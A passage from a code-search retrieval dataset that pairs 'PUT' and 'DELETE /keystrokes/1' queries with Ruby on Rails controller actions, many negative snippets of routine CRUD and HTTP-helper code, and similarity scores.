"0.47108594",
"0.46820226",
"0.46808687",
"0.46733272",
"0.46654278",
"0.46529308",
"0.463808",
"0.4631247",
"0.46262676",
"0.46260056",
"0.46246284",
"0.4623623",
"0.46218053",
"0.4617696",
"0.4617696",
"0.46160683",
"0.46158448",
"0.46127674",
"0.46114305",
"0.4601671",
"0.4597302",
"0.45950633",
"0.4594635",
"0.4584566",
"0.45818976",
"0.45736235",
"0.45665044",
"0.4566334",
"0.4563391",
"0.45467392",
"0.45412058"
] |
0.67166984
|
0
|
PUT /keystrokes/1 PUT /keystrokes/1.json
|
def update
@keystroke = Keystroke.find(params[:id])
respond_to do |format|
if @keystroke.update_attributes(params[:keystroke])
format.html { redirect_to @keystroke, notice: 'Keystroke was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @keystroke.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n if @key.update(key_params)\n render json: @key\n else\n render json: @key.errors, status: :unprocessable_entity\n end\n end",
"def update\n @key = Key.find(params[:id])\n\n respond_to do |format|\n if @key.update_attributes(params[:key])\n format.html { redirect_to @key, notice: 'Key was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @keystroke = Keystroke.find(params[:id])\n @keystroke.destroy\n\n respond_to do |format|\n format.html { redirect_to keystrokes_url }\n format.json { head :no_content }\n end\n end",
"def put!\n request! :put\n end",
"def create\n @keystroke = Keystroke.new(params[:keystroke])\n\n respond_to do |format|\n if @keystroke.save\n format.html { redirect_to @keystroke, notice: 'Keystroke was successfully created.' }\n format.json { render json: @keystroke, status: :created, location: @keystroke }\n else\n format.html { render action: \"new\" }\n format.json { render json: @keystroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @key_word = KeyWord.find(params[:id])\n\n respond_to do |format|\n if @key_word.update_attributes(params[:key_word])\n format.html { redirect_to @key_word, notice: 'Key word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @keystroke = Keystroke.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @keystroke }\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n respond_to do |format|\n if @running_key.update(running_key_params)\n format.html { redirect_to @running_key, notice: 'Running key was successfully updated.' }\n format.json { render :show, status: :ok, location: @running_key }\n else\n format.html { render :edit }\n format.json { render json: @running_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @key_word_set = KeyWordSet.find(params[:id])\n\n respond_to do |format|\n if @key_word_set.update_attributes(params[:key_word_set])\n format.html { redirect_to @key_word_set, notice: 'Key word set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_word_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @key_point = KeyPoint.find(params[:id])\n\n respond_to do |format|\n if @key_point.update_attributes(params[:key_point])\n format.html { redirect_to :back, notice: 'Key point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n if @kitty.update_attributes(params[:kitty])\n format.html { redirect_to @kitty, notice: 'Kitty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kitty.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_collection_key(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}\"\n\tputs do_the_put_call( url: api_url, user: @user, json: args[:json] )\nend",
"def update\n @key_person = KeyPerson.find(params[:id])\n\n respond_to do |format|\n if @key_person.update_attributes(params[:key_person])\n format.html { redirect_to @key_person, notice: 'Key person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @key_pair = KeyPair.find(params[:id])\n\n respond_to do |format|\n if @key_pair.update_attributes(params[:key_pair])\n format.html { redirect_to @key_pair, notice: 'Key pair was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_pair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @key_set.update(key_set_params)\n format.html { redirect_to @key_set, notice: 'Key set was successfully updated.' }\n format.json { render :show, status: :ok, location: @key_set }\n else\n format.html { render :edit }\n format.json { render json: @key_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @keystroke = Keystroke.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @keystroke }\n end\n end",
"def update(key, ctx); end",
"def update\n respond_to do |format|\n if @secret_key.update(secret_key_params)\n format.html { redirect_to @secret_key, notice: 'Secret key was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @secret_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update_current_logged_in_users_password(args = {}) \n id = args['id']\n temp_path = \"/users.json/current/password\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @stroke.update(stroke_params)\n format.html { redirect_to @stroke, notice: 'Stroke was successfully updated.' }\n format.json { render :show, status: :ok, location: @stroke }\n else\n format.html { render :edit }\n format.json { render json: @stroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def update\n @topickey = Topickey.find(params[:id])\n\n respond_to do |format|\n if @topickey.update_attributes(params[:topickey])\n format.html { redirect_to @topickey, notice: 'Topickey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @topickey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @keyval.update(keyval_params)\n format.html { redirect_to @keyval, notice: 'Keyval was successfully updated.' }\n format.json { render :show, status: :ok, location: @keyval }\n else\n format.html { render :edit }\n format.json { render json: @keyval.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @keyholder.update(keyholder_params)\n format.html { redirect_to @keyholder, notice: 'Keyholder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @keyholder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def keystroke(componentName, keysequence, componentInfo=nil)\n $marathon.keystroke(ComponentId.new(componentName, componentInfo), keysequence)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def put(action, **args); end",
"def update\n respond_to do |format|\n if @whiskey.update(whiskey_params)\n format.html { redirect_to @whiskey, notice: \"Whiskey was successfully updated.\" }\n format.json { render :show, status: :ok, location: @whiskey }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @whiskey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sshkey.update(sshkey_params)\n format.html { redirect_to @sshkey, notice: 'Sshkey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sshkey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @keyholder = Keyholder.find(params[:id])\n\n respond_to do |format|\n if @keyholder.update_attributes(params[:keyholder])\n format.html { redirect_to @keyholder, notice: 'Keyholder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @keyholder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n @kv = Kv.find(params[:id])\n\n respond_to do |format|\n if @kv.update_attributes(params[:kv])\n format.html { redirect_to @kv, notice: 'Kv was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_key.update(api_key_params)\n format.html { redirect_to [:admin, @api_key], notice: 'Api key was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_key }\n else\n format.html { render :edit }\n format.json { render json: @api_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_cmd_one(cmd, key, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key]\n else\n [\"JSON.#{cmd.upcase}\", key, path]\n end\n end",
"def update\n respond_to do |format|\n if @kv.update(kv_params)\n format.html { redirect_to @kv, notice: 'Kv was successfully updated.' }\n format.json { render :show, status: :ok, location: @kv }\n else\n format.html { render :edit }\n format.json { render json: @kv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @kit = Kit.find(params[:id])\n\n respond_to do |format|\n if @kit.update_attributes(params[:kit])\n format.html { redirect_to @kit, notice: 'Kit was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @key = args[:key] if args.key?(:key)\n end",
"def update!(**args)\n @key = args[:key] if args.key?(:key)\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update!(**args)\n @key_id = args[:key_id] if args.key?(:key_id)\n @signature = args[:signature] if args.key?(:signature)\n end",
"def update!(**args)\n @key_id = args[:key_id] if args.key?(:key_id)\n @signature = args[:signature] if args.key?(:signature)\n end",
"def update\n @monkey = Monkey.find(params[:id])\n\n respond_to do |format|\n if @monkey.update_attributes(params[:monkey])\n format.html { redirect_to @monkey, notice: 'Monkey was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monkey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @apikey.update(apikey_params)\n format.html { redirect_to @apikey, notice: 'API key was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def rekey!; end",
"def rekey!; end",
"def create_method\n :put_json\n end",
"def update\n respond_to do |format|\n if @apikey.update(apikey_params)\n format.html { redirect_to @apikey, notice: \"Apikey was successfully updated.\" }\n format.json { render :show, status: :ok, location: @apikey }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @apikey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(*args)\n put(*args)\n end",
"def update(*args)\n put(*args)\n end",
"def update!(**args)\n @key_id = args[:key_id] if args.key?(:key_id)\n @signed_jwt = args[:signed_jwt] if args.key?(:signed_jwt)\n end",
"def update\n @key_feature = KeyFeature.find(params[:id])\n\n if @key_feature.update(key_feature_params)\n audit(@key_feature, current_user)\n head :no_content\n else\n render json: @key_feature.errors, status: :unprocessable_entity\n end\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def put(path, opts = {})\n request(:put, path, opts).body\n end",
"def update!(**args)\n @key_id = args[:key_id] if args.key?(:key_id)\n @private_key = args[:private_key] if args.key?(:private_key)\n @team_id = args[:team_id] if args.key?(:team_id)\n end",
"def update!(**args)\n @key_id = args[:key_id] if args.key?(:key_id)\n @private_key = args[:private_key] if args.key?(:private_key)\n @team_id = args[:team_id] if args.key?(:team_id)\n end",
"def edit\n @user = User.find(current_user.id)\n if @user.api.key.nil?\n @user.api.key = SecureRandom.hex\n if@user.api.save\n redirect_to @user\n flash[:success] = 'New api key' +@user.api.key + ' was created'\n else\n render @user\n flash.now[:danger] = 'Api key could not be saved'\n end\n else\n @user.api.key = nil\n @user.api.save\n redirect_to user_path\n flash[:success] = 'Api key was removed'\n end\n end",
"def update\n @glyph = Glyph.find(params[:id])\n\n respond_to do |format|\n if @glyph.update_attributes(params[:glyph])\n format.html { redirect_to @glyph, notice: 'Glyph was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @glyph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@keyboard_shortcut = current_user.keyboard_shortcuts.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @keyboard_shortcut.update_attributes(params[:keyboard_shortcut])\n\t\t\t\tformat.html { redirect_to(@keyboard_shortcut, :notice => 'Keyboard shortcut was successfully updated.') }\n\t\t\t\tformat.xml { head :ok }\n\t\t\t\tformat.json { head :ok }\n\t\t\t\tformat.yaml { render :text => \"\", :content_type => 'text/yaml' }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @keyboard_shortcut.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.json { render :json => @keyboard_shortcut.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.yaml { render :text => @keyboard_shortcut.errors.to_yaml, :content_type => 'text/yaml', :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def hot_key_params\n params.require(:hot_key).permit(:profile_id, :keys)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def update!(**args)\n @key = args[:key] if args.key?(:key)\n @type = args[:type] if args.key?(:type)\n end",
"def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end",
"def update\n put :update\n end",
"def update!(**args)\n @key = args[:key] if args.key?(:key)\n @on_click = args[:on_click] if args.key?(:on_click)\n @text = args[:text] if args.key?(:text)\n end",
"def update!(**args)\n @atom_key = args[:atom_key] if args.key?(:atom_key)\n @input_key = args[:input_key] if args.key?(:input_key)\n @input_track = args[:input_track] if args.key?(:input_track)\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def edit_deploy_key(repo, id, options)\n patch \"#{Repository.path repo}/keys/#{id}\", options\n end",
"def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end",
"def update_current_logged_in_user(args = {}) \n id = args['id']\n temp_path = \"/users.json/current\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"userId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @key_pair = KeyPair.find(params[:id])\n\n respond_to do |format|\n if @key_pair.update_attributes(params[:key_pair])\n format.html { redirect_to(@key_pair, :notice => 'Key pair was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @key_pair.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def update\n @answer = Answer.find_by_key(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.key), notice: 'Answer was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def put(*args)\n execute(:put, *args)\n end",
"def update\n\t\tupdate_keypress\n\tend",
"def put(path, body = nil, ctype = 'application/json')\n make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end",
"def update\n respond_to do |format|\n if @interactivekit.update(interactivekit_params)\n format.html { redirect_to @interactivekit, notice: 'Interactivekit was successfully updated.' }\n format.json { render :show, status: :ok, location: @interactivekit }\n else\n format.html { render :edit }\n format.json { render json: @interactivekit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @swift_api_key.update(swift_api_key_params)\n format.html { redirect_to @swift_api_key, notice: 'Swift api key was successfully updated.' }\n format.json { render :show, status: :ok, location: @swift_api_key }\n else\n format.html { render :edit }\n format.json { render json: @swift_api_key.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def invoke_write_key(key)\n write_key(key)\n end",
"def add_key(key)\n post(\"/users/ssh_keys\", {:key => key}, :accept => 'json').to_s\n end",
"def cmd_modify argv\n setup argv\n json = @hash['json']\n e = @hash['element']\n response = @api.modify(json, e)\n msg response\n return response\n end"
] |
[
"0.6206077",
"0.6018809",
"0.5901821",
"0.58911437",
"0.5871408",
"0.5773485",
"0.57012445",
"0.5536976",
"0.55151796",
"0.5501271",
"0.5458104",
"0.54576004",
"0.54575896",
"0.5456714",
"0.5422416",
"0.5420822",
"0.54191434",
"0.54185015",
"0.5417782",
"0.54141974",
"0.540881",
"0.5398985",
"0.53928655",
"0.53924274",
"0.53645986",
"0.5358929",
"0.5351594",
"0.5315026",
"0.5310765",
"0.5280592",
"0.5280592",
"0.5280086",
"0.5274267",
"0.5273004",
"0.52664244",
"0.522405",
"0.5221082",
"0.5220218",
"0.5215486",
"0.5205361",
"0.51998025",
"0.5198305",
"0.519199",
"0.51886487",
"0.51886487",
"0.51881796",
"0.5184677",
"0.5184677",
"0.51686686",
"0.51661533",
"0.51590216",
"0.51589435",
"0.51589435",
"0.515779",
"0.5154914",
"0.5154415",
"0.5154415",
"0.5141898",
"0.513304",
"0.51257575",
"0.51159513",
"0.51071453",
"0.51071453",
"0.5100434",
"0.5096572",
"0.5095845",
"0.50948536",
"0.5080508",
"0.5080508",
"0.5080508",
"0.50792766",
"0.5076765",
"0.50755847",
"0.507105",
"0.5065773",
"0.505192",
"0.5048934",
"0.5046126",
"0.5045161",
"0.50409365",
"0.5028499",
"0.5028499",
"0.5028499",
"0.5028499",
"0.5028499",
"0.5028499",
"0.5028499",
"0.5028499",
"0.5028443",
"0.5027772",
"0.5015427",
"0.5013976",
"0.50096846",
"0.50064766",
"0.5002384",
"0.5002384",
"0.50016344",
"0.49872908",
"0.49867287",
"0.49845707"
] |
0.6978473
|
0
|
DELETE /keystrokes/1 DELETE /keystrokes/1.json
|
def destroy
@keystroke = Keystroke.find(params[:id])
@keystroke.destroy
respond_to do |format|
format.html { redirect_to keystrokes_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @key = Key.find(params[:id])\n @key.destroy\n\n respond_to do |format|\n format.html { redirect_to keys_url }\n format.json { head :no_content }\n end\n end",
"def delete(key)\n\n end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end",
"def delete_key(key)\n end",
"def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to monkeys_url }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end",
"def delete(key)\n timeout_retry(3, 3){\n write \"DEL #{key}\\r\\n\"\n integer_reply == 1\n }\n end",
"def destroy\n @key_word = KeyWord.find(params[:id])\n @key_word.destroy\n\n respond_to do |format|\n format.html { redirect_to key_words_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@keyboard_shortcut = KeyboardShortcut.find(params[:id])\n\t\t@keyboard_shortcut.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(keyboard_shortcuts_url) }\n\t\t\tformat.xml { head :ok }\n\t\t\tformat.json { head :ok }\n\t\t\tformat.yaml { render :text => \"\", :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @key_point = KeyPoint.find(params[:id])\n @key_point.destroy\n\n respond_to do |format|\n format.html { redirect_to key_points_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @key_word_set = KeyWordSet.find(params[:id])\n @key_word_set.destroy\n\n respond_to do |format|\n format.html { redirect_to key_word_sets_url }\n format.json { head :no_content }\n end\n end",
"def delete(_url)\n # do nothing since we can't find the key by url\n end",
"def destroy\n @api_key.destroy\n\n respond_to do |format|\n format.html { redirect_to(api_keys_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @secret_key.destroy\n respond_to do |format|\n format.html { redirect_to secret_keys_url }\n format.json { head :no_content }\n end\n end",
"def call(id)\n client.delete(\"/api/rest/v1/api_keys/#{id}.json\")\n true\n end",
"def destroy\n @apikey.destroy\n respond_to do |format|\n format.html { redirect_to apikeys_url, notice: \"Apikey was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sshkey.destroy\n respond_to do |format|\n format.html { redirect_to sshkeys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @key_person = KeyPerson.find(params[:id])\n @key_person.destroy\n\n respond_to do |format|\n format.html { redirect_to key_people_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @key_set.destroy\n respond_to do |format|\n format.html { redirect_to key_sets_url, notice: 'Key set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @whiskey = Whiskey.find(params[:id])\n @whiskey.destroy\n\n respond_to do |format|\n format.html { redirect_to whiskeys_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end",
"def destroy\n @key_indicate_dictionary.destroy\n respond_to do |format|\n format.html { redirect_to key_indicate_dictionaries_url, notice: 'Dictionary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @topickey = Topickey.find(params[:id])\n @topickey.destroy\n\n respond_to do |format|\n format.html { redirect_to topickeys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @keyval.destroy\n respond_to do |format|\n format.html { redirect_to keyvals_url, notice: 'Keyval was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apikey.destroy\n respond_to do |format|\n format.html { redirect_to apikeys_url, notice: 'API key was successfully destroyed.' }\n end\n end",
"def destroy\n @stroke.destroy\n respond_to do |format|\n format.html { redirect_to strokes_url, notice: 'Stroke was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_cookie name, path\r\n command 'deleteCookie', name, path\r\n end",
"def delete(key)\n perform_delete(:delete, key)\n end",
"def delete_entry(key, **options); end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def remove_key(key)\n\t\tdelete(\"/user/keys/#{escape(key)}\")\n\tend",
"def remove_key(key)\n\t\tdelete(\"/user/keys/#{escape(key)}\")\n\tend",
"def shell_registry_deletekey(key, view)\n key = normalize_key(key)\n # REG DELETE KeyName [/v ValueName | /ve | /va] [/f]\n shell_registry_cmd_result(\"delete \\\"#{key}\\\" /f\", view)\n end",
"def destroy\n @key_pair = KeyPair.find(params[:id])\n @key_pair.destroy\n\n respond_to do |format|\n format.html { redirect_to key_pairs_url }\n format.json { head :no_content }\n end\n end",
"def delete(args)\n args = {:path => args} unless args.is_a?(Hash)\n assert_supported_keys(args, [:path, :version, :callback, :context])\n assert_required_keys(args, [:path])\n args[:version] ||= -1\n\n if args[:callback] ## asynchronous\n raise KeeperException::BadArguments unless args[:callback].kind_of?(VoidCallback)\n return zoo_adelete(@zk_handle, args[:path], args[:version], args[:callback].proc, YAML.dump(args[:context]))\n end\n\n ## synchronous\n rc = zoo_delete(@zk_handle, args[:path], args[:version])\n raise KeeperException.by_code(rc), ZooKeeperFFI::zerror(rc) unless rc == ZOK\n return rc\n end",
"def destroy\n @whiskey.destroy\n respond_to do |format|\n format.html { redirect_to whiskeys_url, notice: \"Whiskey was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end",
"def destroy\n @swift_api_key.destroy\n respond_to do |format|\n format.html { redirect_to swift_api_keys_url, notice: 'Swift api key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_data key\n init_data\n\n Bot::DB[my_name].delete key\n end",
"def delete_data key\n init_data\n\n Bot::DB[my_name].delete key\n end",
"def destroy\n @monkey = Monkey.find(params[:id])\n @monkey.destroy\n\n respond_to do |format|\n format.html { redirect_to(monkeys_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @keylist.destroy\n respond_to do |format|\n format.html { redirect_to keylists_url, notice: 'Keylist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def getdel(key)\n send_command([:getdel, key])\n end",
"def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @login_key = LoginKey.find(params[:id])\n @login_key.destroy\n\n respond_to do |format|\n format.html { redirect_to login_keys_url }\n format.json { head :no_content }\n end\n end",
"def delete( key )\n context.delete(key.to_s)\n end",
"def destroy\n @key = Adminkey.find(params[:id])\n @key.destroy\n\n \tredirect_to adminkeys_url \n\n end",
"def delete\n request(:delete)\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def delete(key)\n @db.delete(key.to_s.downcase)\n end",
"def delete(key)\n response = request(:delete, uri(key))\n if response.status == 200\n data = MultiJson.load(response.body)\n data[S_PREV_VALUE]\n else\n nil\n end\n end",
"def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end",
"def destroy\n @credential_key.destroy\n respond_to do |format|\n format.html { redirect_to credential_keys_url, notice: 'Credential key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete(key)\n run_hook(:before_delete)\n db.delete(key)\n run_hook(:after_delete)\n end",
"def delete_and_give_me_a_json(additional_path, params = nil)\n if self.service_base_path != nil\n if params == nil\n params = Hash.new\n end\n params[:api_key] = self.access_token\n message = self.http_client.delete \"#{self.base_url}#{self.service_base_path}/#{additional_path}.json\", params\n trata_erro(message.content)\n end\n end",
"def destroy\n id = @api_v1_canvas.id\n @api_v1_canvas.destroy\n respond_to do |format|\n format.html do\n redirect_to api_v1_canvases_url, notice: 'Canvas was successfully destroyed.'\n end\n\n format.json do\n msg = { id: id }\n broadcast(\"deleted\", msg)\n head :no_content\n end\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete(key)\n removeAttribute(key.to_s)\n end",
"def delete(key)\n removeAttribute(key.to_s)\n end",
"def delete(key)\n removeAttribute(key.to_s)\n end",
"def destroy\n @running_key.destroy\n respond_to do |format|\n format.html { redirect_to book_url(@book), notice: 'Running key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kv.destroy\n respond_to do |format|\n format.html { redirect_to kvs_url, notice: 'Kv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
